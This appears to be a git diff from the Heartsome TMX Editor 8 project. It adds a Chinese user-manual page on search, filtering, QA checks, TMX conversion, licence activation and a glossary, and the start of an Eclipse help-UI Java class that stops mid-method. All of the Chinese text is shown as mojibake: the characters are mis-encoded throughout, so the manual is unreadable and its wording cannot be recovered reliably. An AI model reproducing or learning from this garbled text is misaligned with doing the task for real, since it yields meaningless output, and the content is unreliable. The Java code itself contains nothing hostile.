2ã€å½“打开多语的记忆库åŽï¼Œæ‚¨å¯ä»¥ä»Žâ€œç¼–辑视图â€ä¸­çš„“æºâ€å’Œâ€œç›®æ ‡â€ä¸‹æ‹‰åˆ—表中选择需è¦æ˜¾ç¤ºå’Œç¼–辑的语言对: + + + + + + + + 3ã€é€‰æ‹©å¥½è¯­è¨€å¯¹åŽï¼Œç‚¹å‡»ã€æœç´¢ã€‘å³å¯åŠ è½½æ˜¾ç¤ºè¯¥è¯­è¨€å¯¹çš„所有内容。 + + + + + + + 编辑记忆库æºæ–‡å’Œè¯‘æ–‡ + + + å•å‡»ç¼–辑器中æºæ–‡å•å…ƒæ ¼æˆ–译文å•å…ƒæ ¼å³å¯è¿›å…¥ç¼–辑模å¼ã€‚需è¦æ³¨æ„的是:记忆库的编辑是实时ä¿å­˜çš„,因此ä¸éœ€è¦æ‰‹åŠ¨ä¿å­˜ã€‚ + + + + + 编辑记忆库的翻译å•å…ƒå±žæ€§ + + + åŒâ€œTMX 翻译å•å…ƒå±žæ€§ç¼–辑â€ã€‚ + + + + + 编辑记忆库的翻译å•å…ƒæ‰¹æ³¨ + + + åŒâ€œTMX + 翻译å•å…ƒæ‰¹æ³¨ç¼–辑â€ã€‚ + + + + + æ— ç”¨å†…å®¹æ¸…ç† + + + åŒâ€œTMX 无用内容清ç†â€ã€‚ + + + + + + + æœç´¢å’Œè¿‡æ»¤ + + Heartsome TMX Editor 8 æ供了æœç´¢å’Œè¿‡æ»¤ 的功能,最大程度的æ高您维护 TMX + 文件和记忆库的效率。以下是使用方法介ç»ï¼š + + + + 关键字æœç´¢ + + + 您å¯ä»¥é’ˆå¯¹å½“å‰ TMX + 文件或记忆库的æºæ–‡æˆ–译文内容进行关键字的æœç´¢ï¼Œè¿‡æ»¤å‡ºé¢„期的内容。您åªéœ€è¦åœ¨â€œç¼–辑â€è§†å›¾çš„“æœç´¢â€æ¨¡å—中,针对æºæ–‡æˆ–译文输入关键字,点击ã€æœç´¢ã€‘按钮å³å¯ã€‚ + + + + + + + + + + + + + 快速过滤 + + + 您å¯ä»¥é€šè¿‡â€œç¼–辑â€è§†å›¾çš„“æ¡ä»¶ç­›é€‰â€ä¸‹æ‹‰åˆ—表内容,快速过滤出相关内容。下拉列表的内容分两个部分:软件内置的常用过滤æ¡ä»¶å’Œç”¨æˆ·è‡ªå®šä¹‰çš„过滤æ¡ä»¶ã€‚ + + + + + + + + 其中,软件的内置的过滤æ¡ä»¶ä¸­ï¼Œå¯¹äºŽæ–‡æœ¬æ®µå†…容的比较,我们æ供了是å¦â€œå¿½ç•¥å¤§å°â€å’Œæ˜¯å¦â€œå¿½ç•¥æ ‡è®°â€ä¸¤ä¸ªé€‰é¡¹ï¼Œä»¥å¾—到更加精确的过滤结果。 + + + + + + + 特别说明:“关键字æœç´¢â€ä¸Žâ€œå¿«é€Ÿè¿‡æ»¤â€ä¹‹é—´æ²¡æœ‰äº’相关è”,任何一个æ¡ä»¶æ”¹å˜éƒ½ä¼šä»¥åŽŸå§‹ TMX + 文件内容或记忆库内容é‡æ–°åˆ·æ–°ç»“果。 + + + + + 自定义过滤æ¡ä»¶ + + + 软件为您æ供了çµæ´»çš„自定义过滤器,您å¯ä»¥æ ¹æ®è‡ªå·±çš„需è¦æ¥è®¾ç½®è¿‡æ»¤æ¡ä»¶ï¼Œè¿™äº›è¿‡æ»¤æ¡ä»¶æ‚¨è¿˜å¯ä»¥é€‰æ‹©å¯ç”¨æˆ–ä¸å¯ç”¨ã€‚我们建议您将常用的自定义过滤æ¡ä»¶è®¾ç½®ä¸ºå¯ç”¨çŠ¶æ€ï¼Œè¿™æ ·æ‚¨å°±å¯ä»¥åœ¨æ¡ä»¶ç­›é€‰çš„ + + 下拉列表中选择并自动执行该æ¡ä»¶ï¼Œè¿‡æ»¤å‡ºç›¸å…³å†…容。 + + 1ã€ç‚¹å‡»â€œæ¡ä»¶ç­›é€‰â€æ¨¡å—中的 + + + + 按钮,打开自定义过滤æ¡ä»¶åˆ—表。 + + + + + + + + 2ã€ç‚¹å‡»ã€æ–°å»ºã€‘按钮,弹出自定义æ¡ä»¶çš„定义æ“作对è¯æ¡†ã€‚ + + + + + + + + + + 过滤器å称:您的自定义æ¡ä»¶å称,用于该æ¡ä»¶â€œå¯ç”¨â€åŽæ˜¾ç¤ºåœ¨â€œæ¡ä»¶ç­›é€‰â€çš„下拉列表中。 + + + + æ¡ä»¶ç»„åˆæ–¹å¼ï¼šæ供满足所有æ¡ä»¶ï¼ˆAND)或任一æ¡ä»¶ï¼ˆOR)的组åˆæ–¹å¼é€‰æ‹©ã€‚ + + + + 自定义的内容:您å¯ä»¥å¯¹æºæ–‡ã€è¯‘æ–‡ã€æ‰¹æ³¨ã€å›ºå®šå±žæ€§å’Œè‡ªå®šä¹‰å±žæ€§è¿›è¡Œè‡ªå®šä¹‰ã€‚ + + + + æ“作符:系统默认带了包å«ã€ä¸åŒ…å«ã€ç­‰äºŽå’Œä¸ç­‰äºŽå››ç§æ“作符。 + + + + 对列表中已有的自定义æ¡ä»¶ï¼ŒåŒæ ·å¯ä»¥è¿›è¡Œã€ç¼–辑】和ã€åˆ é™¤ã€‘。 + + 3ã€åˆ—表中“å¯ç”¨â€ä¸€åˆ—,是æ供您设置是å¦å¯ç”¨è¿™ä¸ªæ¡ä»¶ï¼Œä»¥é¿å…部分暂时ä¸éœ€è¦çš„æ¡ä»¶å‡ºçŽ°çš„“æ¡ä»¶ç­›é€‰â€çš„下拉列表中,产生混淆和干扰。 + + 例如:第1点æ述中å¯ç”¨â€œKevin创建的å¥å­â€åŽï¼š + + + + + + + + + + + + + QA + + Heartsome TMX Editor 8 为您æ供了针对 TMX 文件的 QA 功能,也能根æ®ç”Ÿæˆçš„ QA + 报告,对错误内容åšå¿«é€Ÿå¤„ç†ã€‚以下详细介ç»ï¼š + + + + 选择 QA 检查项 + + + 在 QA 视图的“检查项â€æ¨¡å—,æ供了6ç§ QA + 检查项供选择: + + + + + + + + + + 标记一致性:æºæ–‡å’Œè¯‘文的内部标记个数是å¦ç›¸åŒï¼Œå†…容是å¦ç›¸åŒã€‚ + + + + 数字一致性:æºæ–‡å’Œè¯‘文中的数字是å¦ç›¸åŒã€‚ + + + + 段首/段末空格:æºæ–‡å’Œè¯‘文在段首/段末的空格是å¦ä¸€è‡´ã€‚ + + + + 译文为空:是å¦æœ‰æœªç¿»è¯‘的文本段。 + + + + æºæ–‡å’Œè¯‘文相åŒï¼šæºæ–‡å’Œè¯‘文相åŒçš„文本段。 + + + + 相åŒæºæ–‡ï¼Œä¸åŒè¯‘文:æºæ–‡ç›¸åŒï¼Œå´æœ‰ä¸åŒè¯‘文的文本段。 + + + + 相åŒè¯‘文,ä¸åŒæºæ–‡ï¼šç›¸åŒçš„译文å´æ¥è‡ªä¸åŒçš„æºæ–‡çš„文本段。 + + + + + + + 执行 QA ç”Ÿæˆ QA 报告 + + + 1ã€åœ¨ QA + 视图的“æ“作â€æ¨¡å—中,选择是å¦â€œå¿½ç•¥å¤§å°å†™â€å’Œæ˜¯å¦â€œå¿½ç•¥æ ‡è®°â€ï¼Œæ¥ç¡®å®šæ˜¯å¦ä»¥æ›´åŠ ç²¾ç¡®çš„æ–¹å¼æ¥è¿›è¡Œå†…容对比。 + + + + + + + + 2ã€ç‚¹å‡»ã€æ‰§è¡Œæ‰€é€‰ã€‘按钮,软件自动打开 QA 结果视图,生æˆç›¸åº”çš„ QA 报告。 + + + + + + + + + + + å¦‚ä½•æ ¹æ® QA 报告处ç†é”™è¯¯ + + + 您åªéœ€è¦åŒå‡» QA 结果中的错误信æ¯ï¼Œä¾¿ä¼šè‡ªåŠ¨å®šä½åˆ°ç¼–辑器中对应的行,进而快速进行错误的修å¤ã€‚ + + + + + + + å®žç”¨å·¥å…·ä»‹ç» + + Heartsome TMX Editor 8 æ供了几款éžå¸¸å®žç”¨çš„工具,为您轻æ¾è§£å†³ TMX 的转æ¢å’Œç»´æŠ¤é—®é¢˜ã€‚ + + + + TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼æ–‡ä»¶ + + + Heartsome TMX Editor 8 支æŒç”± TMX 批é‡è½¬æ¢ä¸º DOCXã€XLSXã€TXTã€TBX ä»¥åŠ HSTM(Heartsome + Translation Studio 8 记忆库 )5ç§å¤–部文件。 + + + + + + + + + + 使用方法: + + 1ã€èœå•â€œå·¥å…·â€-“TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼â€ï¼Œæ‰“开转æ¢å¯¹è¯æ¡†ã€‚ + + 2ã€ç‚¹å‡»ã€æ·»åŠ ã€‘按钮,批é‡æ·»åŠ å¾…转æ¢çš„ TMX 文件,您也å¯ä»¥å¯¹å·²æ·»åŠ çš„文件进行选中ã€ç§»é™¤ã€‘æ“作。 + + 3ã€é€‰æ‹©â€œè½¬æ¢ä¸ºâ€çš„目标文件类型。 + + 4ã€å½““转æ¢ä¸ºâ€çš„目标文件类型为“HS记忆库文件(.hstm)â€æ—¶ï¼Œå¯é€‰æ‹©æ˜¯å¦åœ¨â€œåŒ…å«ç¿»è¯‘å•å…ƒå±žæ€§ï¼ˆä»…é™ *.hstm)â€ï¼Œæˆ–忽略属性。 + + 5ã€é€‰æ‹©â€œä¿å­˜åˆ°â€çš„ä¿å­˜æ–¹å¼ã€‚ + + 6ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮执行转æ¢æ“作。 + + + + 转æ¢åŽçš„目标文件类型介ç»ï¼š + + + + 转æ¢ä¸º DOCX 文件: + + + + + + + + 说明:表格的第一列为æºè¯­è¨€ï¼Œç¬¬äºŒåˆ—为目标语言。如果原 TMX + 文件是多语言,那么会在表格的第三列继续列出第三ç§è¯­è¨€ã€‚ + + + + 转æ¢ä¸º XLSX 文件: + + + + + + + + 说明:第一列为æºè¯­è¨€ï¼Œç¬¬äºŒåˆ—为目标语言。如果原 TMX + 文件是多语言,那么会在第三列继续列出第三ç§è¯­è¨€ã€‚ + + + + 转æ¢ä¸º TXT 文件: + + + + + + + + 说明:TXT 文件中多ç§è¯­è¨€ä¹‹é—´ä»¥â€œTAB + é”®â€ä¸ºé—´éš”。 + + + + 转æ¢ä¸ºæ ‡å‡† TBX 文件: + + + + + + + + + + 转æ¢ä¸º HSTM 文件: + + 转æ¢çš„ HSTM 文件是 Heartsome Translation Studio 8 + 记忆库中的“文件型记忆库â€ç±»åž‹ã€‚ + + + + + + + + + 指定格å¼è½¬æ¢ä¸º TMX + + + 此功能是“TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼â€åŠŸèƒ½çš„逆å‘使用,因此,也åŒæ ·æ”¯æŒç›¸åŒçš„ DOCXã€XLSXã€TXTã€TBX ä»¥åŠ + HSTM(Heartsome Translation Studio 8 记忆库 )5ç§å¤–部文件转æ¢ä¸ºæ ‡å‡† TMX 文件。 + + + + + + + + + + 使用方法: + + 1ã€èœå•â€œå·¥å…·â€-“转æ¢ä¸º TMXâ€ï¼Œæ‰“开转æ¢å¯¹è¯æ¡†ã€‚ + + 2ã€å•å‡»â€œæµè§ˆâ€æŒ‰é’®ï¼Œé€‰æ‹©å¾…转æ¢çš„外部文件。 + + + 3ã€é€‰æ‹©æ˜¯å¦â€œæ·»åŠ ç¿»è¯‘å•å…ƒè‡ªå®šä¹‰å±žæ€§â€ã€‚如果选择添加,那么需è¦åœ¨â€œæµè§ˆâ€æ“作区域中动æ€æ·»åŠ å±žæ€§å’Œå€¼ã€‚ + + 4ã€é€‰æ‹©å­˜å‚¨æ–¹å¼ï¼š1)转æ¢æˆå…¨æ–°çš„ TMX,指生æˆä¸€ä¸ªæ–°çš„ TMX 文件。2)追加到已有 + TMX,需è¦æ‚¨é€‰æ‹©ä¸€ä¸ªå·²å­˜åœ¨çš„ TMX 文件,将新内容追加到其中。 + + 5ã€é€‰æ‹©æ˜¯å¦â€œè½¬æ¢æˆåŽåœ¨ TMX Editor 中打开â€ã€‚ + + 6ã€å•å‡»ã€ç¡®å®šã€‘按钮,执行转æ¢æ“作。 + + + + æºæ–‡ä»¶æ ¼å¼è§„范 + + æºæ–‡ä»¶æ ¼å¼ä¸Žâ€œè½¬æ¢åŽçš„目标文件类型介ç»â€ä¸­ä»‹ç»çš„文件格å¼ä¸€æ ·ï¼Œæ”¯æŒå¤šè¯­è¨€ï¼Œå¹¶ä¸”第一行必须是规范的语言代ç ã€‚ + + + + + + + + 特别说明:此功能目å‰åªæ”¯æŒå•ä¸ªå¤–部文件的转æ¢ï¼Œå¦‚果您有多个外部文件需è¦è½¬æ¢å¤„ç†ï¼Œé‚£ä¹ˆæ‚¨å¯ä»¥æœ‰2ç§æ–¹æ³•ï¼š + + 1)手动将所有外部文件整ç†åœ¨ä¸€ä¸ªæ–‡ä»¶ä¸­ï¼Œåªéœ€è¿›è¡Œä¸€æ¬¡è½¬æ¢ã€‚ + + 2)执行多次转æ¢ï¼Œåœ¨é€‰æ‹©ä¿å­˜æ–¹å¼æ—¶ï¼Œå‹¾é€‰â€œè¿½åŠ åˆ°å·²æœ‰ TMX + 中â€ï¼Œå°†å¤šä¸ªæ–‡ä»¶è½¬æ¢å…¥åŒä¸€ä¸ª TMX。 + + + + + 文件编ç è½¬æ¢å™¨ + + + ç¼–ç è½¬æ¢å™¨ä¸ºæ‚¨æ供一个文本文件编ç è½¬æ¢çš„实用å°å·¥å…·ã€‚当æŸäº›CAT工具åªæ”¯æŒå¯¼å…¥ç‰¹å®šç¼–ç çš„ TMX + 文件时,此工具能助您轻æ¾åœ°å®Œæˆç¼–ç è½¬æ¢ã€‚ + + + + + + + + + + 使用方法: + + 1ã€èœå•â€œå·¥å…·â€-“编ç è½¬æ¢å™¨â€ï¼Œæ‰“开转æ¢å¯¹è¯æ¡†ã€‚ + + 2ã€é€‰æ‹©â€œæºæ–‡ä»¶â€ï¼Œâ€œæºæ–‡ä»¶ç¼–ç â€ä¼šè‡ªåŠ¨æ£€æµ‹å¹¶é€‰ä¸­ã€‚如果自动检测有误,也å¯æ‰‹åŠ¨è°ƒæ•´ã€‚ + + 3ã€é€‰æ‹©è½¬æ¢åŽçš„“目标文件â€å­˜æ”¾è·¯å¾„å’Œå称。 + + 4ã€é€‰æ‹©éœ€è¦è½¬æ¢æˆçš„“目标文件编ç â€ã€‚ + + 5ã€ç‚¹å‡»ã€è½¬æ¢ã€‘按钮,执行转æ¢æ“作。 + + + + + + + + + å…³äºŽç‰ˆæœ¬å’Œè®¸å¯ + + + + ç‰ˆæœ¬ä»‹ç» + + + 以下 Heartsome TMX Editor 8 版本å¯ç”¨ï¼š + + + + å…费版 + + + + 试用版 + + + + æ­£å¼ç‰ˆ + + + + + + å…费版 + + + Heartsome TMX Editor 8 å…费版在功能上与正å¼ç‰ˆå®Œå…¨ä¸€æ ·ï¼Œåªæ˜¯å¯¹å¤„ç†çš„ TMX + 文件的翻译å•å…ƒä¸ªæ•°é™åˆ¶äº†10000个。 + + + + + 试用版 + + + 试用版的有效期是3个月,无任何é™åˆ¶ã€‚试用期到期åŽï¼Œä¼šè‡ªåŠ¨ä»¥å…费版方å¼ç»§ç»­æ°¸ä¹…使用。 + + + + + æ­£å¼ç‰ˆ + + + ç”± Heartsome + å…¬å¸çš„商业许å¯è¯æ¿€æ´»åŽçš„版本。当您购买了商业许å¯è¯åŽï¼Œå½“å‰æ­£åœ¨ä½¿ç”¨çš„“å…费版â€ã€â€œè¯•ç”¨ç‰ˆâ€å‡å¯ç›´æŽ¥æ¿€æ´»å‡çº§ä¸ºâ€œæ­£å¼ç‰ˆâ€ã€‚ + + + + + + + + å¦‚ä½•ç”³è¯·è¯•ç”¨å’Œè´­ä¹°è®¸å¯ + + + + + 申请试用: + + 1ã€è®¿é—®è¯•ç”¨ç”³è¯·ç½‘ç«™https://lic.heartsome.net/webbuy/r8trial.jsp。 + + 2ã€è¾“入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ã€‚ + + 3ã€æ交申请表å•ï¼Œç³»ç»Ÿä¼šè‡ªåŠ¨å‘é€è¯•ç”¨è®¸å¯è¯åˆ°æ‚¨çš„填写的电å­é‚®ç®±ã€‚ + + + + 购买许å¯è¯ï¼š + + 1ã€è®¿é—®è´­ä¹°ç½‘ç«™https://lic.heartsome.net/webbuy/r8buy.jsp。 + + 2ã€è¾“入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ã€‚ + + 3ã€é€‰æ‹©è¦è´­ä¹°çš„产å“åŠç‰ˆæœ¬ç±»åž‹ï¼Œå¹¶è¾“入购买数é‡ã€‚ + + 4ã€ç‚¹å‡»æ交按钮,å†æ¬¡ç¡®è®¤è®¢å•ä¿¡æ¯æ— è¯¯åŽï¼Œç‚¹å‡»é€šè¿‡ + Paypal 支付按钮,并按相应的æ示进行支付。 + + 5ã€æ”¯ä»˜æˆåŠŸåŽï¼Œæˆ‘们的许å¯è¯æœåŠ¡å™¨ä¼šè‡ªåŠ¨å°†è®¸å¯è¯å‘é€åˆ°æ‚¨å¡«å†™çš„邮箱。 + + + + + + + 如何激活许å¯è¯ + + + ä¸è®ºæ˜¯è¯•ç”¨è®¸å¯è¿˜æ˜¯æ­£å¼è®¸å¯ï¼Œå‡éœ€è¦æ¿€æ´»è½¯ä»¶æ‰èƒ½æ­£å¸¸ä½¿ç”¨ã€‚Heartsome TMX Editor 8 + 有“在线激活(推è)â€å’Œâ€œç¦»çº¿æ¿€æ´»â€ä¸¤ç§æ–¹å¼å¯é€‰ã€‚以下介ç»æ¿€æ´»æ–¹æ³•ï¼š + + + + 在线激活: + + 1ã€åœ¨è®¸å¯è¯ç®¡ç†å¯¹è¯æ¡†ä¸­ï¼Œå°†ä»Žé‚®ä»¶ä¸­å¤åˆ¶çš„许å¯è¯å·ç ç²˜è´´åˆ°ç¬¬ä¸€ä¸ªæ–‡æœ¬æ¡†ï¼Œå…¶ä½™æ–‡æœ¬æ¡†å°†è‡ªåŠ¨å¡«å……。 + + + + + + + + 2ã€ç¡®è®¤ç½‘络连接。如果您通过代ç†æœåŠ¡å™¨è¿žæŽ¥ Internet,请点击ã€ç½‘络连接】按钮,进入自定义代ç†è®¾ç½®ã€‚ + + 3ã€ç‚¹å‡»ã€æ¿€æ´»ã€‘按钮。 + + 4ã€è‹¥æ— å¼‚常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ï¼Œé‡æ–°æ‰“开“帮助â€-“许å¯è¯ç®¡ç†â€å³å¯çœ‹åˆ°è®¸å¯çŠ¶æ€ä¸ºâ€œå·²æ¿€æ´»â€ã€‚ + + + + 离线激活: + + 在使用离线激活方å¼ä¹‹å‰ï¼Œè¯·å…ˆç¡®è®¤æ‚¨å·²è´­ä¹°å•†ä¸šè®¸å¯è¯ï¼Œè€Œéžè¯•ç”¨è®¸å¯è¯ã€‚离线激活需è¦å¦‚下四个步骤æ¥å®Œæˆï¼š + + 1ã€è¾“入您购买的商业许å¯è¯åºåˆ—å·ï¼Œç‚¹å‡»ã€ä¸‹ä¸€æ­¥ã€‘按钮。 + + 2ã€èŽ·å–激活ç ï¼š + + 下图所示的界é¢ä¸Šï¼Œæ˜¾ç¤ºäº†è½¯ä»¶è‡ªåŠ¨ç”Ÿæˆçš„激活ç ï¼Œæ‚¨åªéœ€å°†å…¶å¤åˆ¶åˆ°é‚®ä»¶æˆ–文本文件中,将其å‘é€åˆ° + licensing@heartsome.net,然åŽç­‰å¾…我们的处ç†ã€‚这时您å¯ä»¥é€€å‡ºæœ¬è½¯ä»¶ã€‚ + + + + + + + + 3ã€èŽ·å–授æƒæ–‡ä»¶ï¼š + + Heartsome + 在收到您æ供的激活ç ä¹‹åŽï¼Œä¼šå°†ç›¸åº”的授æƒæ–‡ä»¶ï¼ˆæ–‡ä»¶å为“åºåˆ—å·.licâ€å½¢å¼ï¼‰ä»¥é™„件形å¼å‘é€åˆ°æ‚¨çš„邮箱。请将收到的授æƒæ–‡ä»¶ä»Žé‚®ä»¶ä¸­ä¿å­˜åˆ°æ‚¨çš„本地硬盘中,然åŽé‡å¤ä¸Šè¿°ç¬¬ä¸€ã€äºŒæ­¥æ“作, + + 并在上图的界é¢ä¸­ç›´æŽ¥ç‚¹å‡»ã€ä¸‹ä¸€æ­¥ã€‘按钮。 + + + + + + 特别说明:如果您想一次性以离线方å¼æ¿€æ´»å¤šä¸ªè®¸å¯è¯ï¼Œä¹Ÿå¯ä»¥ç”¨ Excel + 文件(.xlsæ ¼å¼ï¼‰ä¿å­˜æ¿€æ´»ç ã€‚ 请将激活ç æ”¾åœ¨ Excel + 表格的第一列ã€ä¸”æ¯è¡Œåªæ”¾ä¸€ä¸ªæ¿€æ´»ç ã€‚为方便识别和管ç†å¤šä¸ªè®¸å¯è¯ï¼Œæ‚¨è¿˜å¯ä»¥åœ¨è¡¨æ ¼çš„第二ã€ä¸‰åˆ—ä¿å­˜ä¸Žæ¿€æ´»ç ç›¸å¯¹åº”的许å¯è¯åºåˆ—å·ã€ä½¿ç”¨è€…姓å或计算机å等附加信æ¯ï¼Œä½†åªæœ‰ç¬¬ä¸€åˆ—的激活ç æ˜¯å¿…需的。 + + 4ã€ç‚¹å‡»ã€æµè§ˆã€‘按钮,选择收到的 .lic + 文件,然åŽå•å‡»ã€æ¿€æ´»ã€‘按钮,执行激活æ“作。若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ã€‚ + + + + + + + 如何å–消激活 + + + 如果属于如下情况之一,则需è¦å…ˆè¿›è¡Œâ€œå–消激活â€è®¸å¯è¯çš„æ“作: + + + + 打算将当å‰çš„“试用许å¯â€æ¢æˆè´­ä¹°çš„“商业许å¯â€ã€‚ + + + + 打算é‡æ–°å®‰è£…æ“作系统。 + + + + 打算将当å‰ä½¿ç”¨çš„许å¯è¯è½¬ç§»åˆ°å¦ä¸€å°è®¡ç®—机上使用。 + + + + å–消激活许å¯è¯çš„步骤如下: + + 1ã€èœå•â€œå¸®åŠ©â€-“许å¯è¯ç®¡ç†â€ï¼Œæ‰“开许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚ + + + + + + + + 2ã€ç¡®è®¤å·²è¿žæŽ¥ç½‘络åŽï¼ˆå¦‚需设置代ç†æœåŠ¡å™¨ï¼Œè¯·å‚考自定义代ç†ï¼‰ï¼Œç‚¹å‡»ã€å–消激活】按钮。 + + 3ã€å¾…æ“作完æˆåŽï¼Œè½¯ä»¶å°†è‡ªåŠ¨é‡æ–°å¯åŠ¨ï¼Œé‡å¯åŽè®¸å¯è¯çŠ¶æ€å˜ä¸ºæ— è®¸å¯è¯ã€‚ + + + + + + + 术语表 + + + + TMX文件 + + + TMX(TM 交æ¢ï¼‰æ˜¯ç”¨äºŽäº¤æ¢ç¿»è¯‘记忆库的行业标准格å¼ã€‚Heartsome TMX Editor 8 å¯ç¼–辑和维护 TMX + 文件。åŒæ—¶ï¼ŒHeartsome Translation Studio 8 è®°å¿†åº“ä¹Ÿæ”¯æŒ TMX 文件的导入和导出。 + + + + + TBX文件 + + + TBX 是术语标记语言。它是开放的ã€åŸºäºŽ XML + 的标准,用于交æ¢ç»“构化术语数æ®ï¼Œå®žçŽ°å°†ä¿¡æ¯ä»Žä¸€ä¸ªæœ¯è¯­åº“ä¼ é€åˆ°å¦ä¸€ä¸ªæœ¯è¯­åº“。 + + + + + 翻译å•å…ƒ + + + 翻译记忆库 (TM) 中的æ¡ç›®ï¼ŒåŒ…å«åŽŸæ–‡æœ¬å¥æ®µã€å…¶ç¿»è¯‘文本和补充的 TM æ•°æ®ï¼Œä¾‹å¦‚翻译日期。在 TMX + 中,翻译å•å…ƒç­‰åŒäºŽå…ƒç´ < tu>(较ä¸å¸¸è§ï¼‰æ–‡æœ¬ï¼Œå®ƒæ˜¯ç”¨äºŽåŒ¹é…çš„å•ä¸ªå•å…ƒï¼Œç­‰åŒäºŽç¿»è¯‘文本段。 + + + + + 翻译å•å…ƒå˜é‡ + + + 文本片断包å«åœ¨ç¿»è¯‘å•å…ƒï¼ˆ<tu> 元素)中,æ¯ä¸ª + <tu>元素包å«ä¸€ä¸ªæˆ–多个<tuv>元素的翻译å•å…ƒå˜é‡ï¼Œè€Œè¿™äº›ç¿»è¯‘å•å…ƒå˜é‡åˆ†åˆ«æ˜¯åŒä¸€ä¸ªç¿»è¯‘å•å…ƒä¸åŒè¯­è¨€çš„译文。æ¯ä¸ª<tuv>元素包å«ç‰‡æ–­å’Œç»™å®šè¯­è¨€ç›¸å…³çš„片断信æ¯ã€‚ + + + + + 内部标记 + + + å¯ç¿»è¯‘项目中ä¸åº”æ供给译员进行翻译的内容。这包括布局和格å¼è®¾ç½®ä¿¡æ¯ã€æ ·å¼å®šä¹‰å’Œå­—体信æ¯ã€‚ + + + + + æº + + + æ述原始的未翻译项目。例如:æºæ–‡ã€æºè¯­è¨€ã€‚与目标相比较。å¦è¯·å‚阅语言对。 + + + + + 目标 + + + æ述已翻译或目标项目,例如:目标内容ã€ç›®æ ‡è¯­è¨€ã€ç›®æ ‡å¥æ®µã€‚与æºç›¸æ¯”较。å¦è¯·å‚阅语言对。 + + + + + 语言对 + + + æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ï¼Œä¾‹å¦‚英语到法语,或者英语(英国)到法语(瑞士)。 + 语言对具有方å‘:英语到法语与法语到英语ä¸åŒã€‚ + + + + + 过滤器 + + + 对内容进行过滤æå–的规则组åˆã€‚过滤器包å«ä¸€ä¸ªæˆ–多个规则。过滤器规则根æ®å¼•ç”¨å€¼æ¥æ¯”较内容。当您应用过滤器时,应用程åºå°†ä»…显示或处ç†ç¬¦åˆè¿™äº›è§„则的内容。 + + + + + HS + + + Heartsome,公å¸å称缩写。 + + + + + HSTM + + + Heartsome Translation Studio 8 记忆库。 + + + + + + + ç‰ˆæƒ + + 版æƒæ‰€æœ‰Â© 2013瀚特盛科技有é™å…¬å¸ã€‚ + + 本软件的任何授æƒå‰¯æœ¬çš„知识产æƒåŠç›¸å…³è½¯ä»¶çš„结构ã€ç»„织和代ç çš„有价知识产æƒï¼ˆä¾‹å¦‚商业秘密和ä¿å¯†ä¿¡æ¯ï¼‰å‡å±žäºŽ + HEARTSOME。本软件中所使用到的第三方软件的知识产æƒå½’该第三方所有。 + + 本软件å—法律(包括但ä¸é™äºŽé¦™æ¸¯ç‰¹åˆ«è¡Œæ”¿åŒºå’Œå…¶ä»–国家的版æƒæ³•ï¼‰ä»¥åŠå›½é™…å约æ¡æ¬¾ä¿æŠ¤ã€‚除éžæ˜Žç¡®è¡¨è¿°ï¼Œå¦åˆ™ä¸æŽˆäºˆç”¨æˆ·å¯¹æœ¬è½¯ä»¶çš„任何知识产æƒï¼Œä¸” + HEARTSOME åŠå…¶ä¾›åº”商ä¿ç•™æœªæ˜Žç¡®æŽˆäºˆçš„其他所有æƒåˆ©ã€‚ + + diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/AbstractSelfHelpUI.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/AbstractSelfHelpUI.java new file mode 100644 index 0000000..4b97bfa --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/AbstractSelfHelpUI.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.te.ui.help; + +import java.net.URL; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.browser.IBrowser; +import org.eclipse.help.internal.base.BaseHelpSystem; +import org.eclipse.help.ui.internal.util.ErrorUtil; +import org.eclipse.osgi.service.environment.Constants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.browser.IWebBrowser; +import org.eclipse.ui.browser.IWorkbenchBrowserSupport; +import org.eclipse.ui.help.AbstractHelpUI; + + +public class AbstractSelfHelpUI extends AbstractHelpUI { + private static AbstractSelfHelpUI instance; + + class ExternalWorkbenchBrowser implements IBrowser { + + public ExternalWorkbenchBrowser() { + } + + private IWebBrowser getExternalBrowser() throws PartInitException { + IWorkbenchBrowserSupport support = PlatformUI.getWorkbench().getBrowserSupport(); + return support.getExternalBrowser(); + } + + public void close() { + } + + public boolean isCloseSupported() { + return false; + } + + public void displayURL(String url) throws Exception { + try { + IWebBrowser browser = getExternalBrowser(); + if (browser != null) { + browser.openURL(new URL(url)); + } + } catch (PartInitException pie) { + ErrorUtil.displayErrorDialog(pie.getLocalizedMessage()); + } + } + + public boolean isSetLocationSupported() { + return false; + } + + public boolean isSetSizeSupported() { + return false; + } + + public void setLocation(int x, int y) { + } + + public void setSize(int width, int height) { + } + } + + + @SuppressWarnings("restriction") + public AbstractSelfHelpUI(){ + super(); + BaseHelpSystem.getInstance().setBrowserInstance(new ExternalWorkbenchBrowser()); + } + + public static AbstractSelfHelpUI getInstance() { + return instance; + } + + @Override + public void displayHelp() { + SelfBaseHelpSystem.getHelpDisplay().displayHelp(useExternalBrowser(null)); + } + + @Override + public void displayContext(IContext context, int x, int y) { + + } + + @Override + public void displayHelpResource(String href) { + SelfBaseHelpSystem.getHelpDisplay().displayHelpResource(href, useExternalBrowser(href)); + } + + @Override + public boolean isContextHelpDisplayed() { + return false; + } + + + private boolean useExternalBrowser(String url) { + // On non Windows platforms, use external when modal window is displayed + if (!Constants.OS_WIN32.equalsIgnoreCase(Platform.getOS())) { + Display display = Display.getCurrent(); + if (display != null) { + if (insideModalParent(display)) + return true; + } + } + + // Use external when no help frames are to be displayed, otherwise no + // navigation buttons. + if (url != null) { + if (url.indexOf("?noframes=true") > 0 //$NON-NLS-1$ + || url.indexOf("&noframes=true") > 0) { 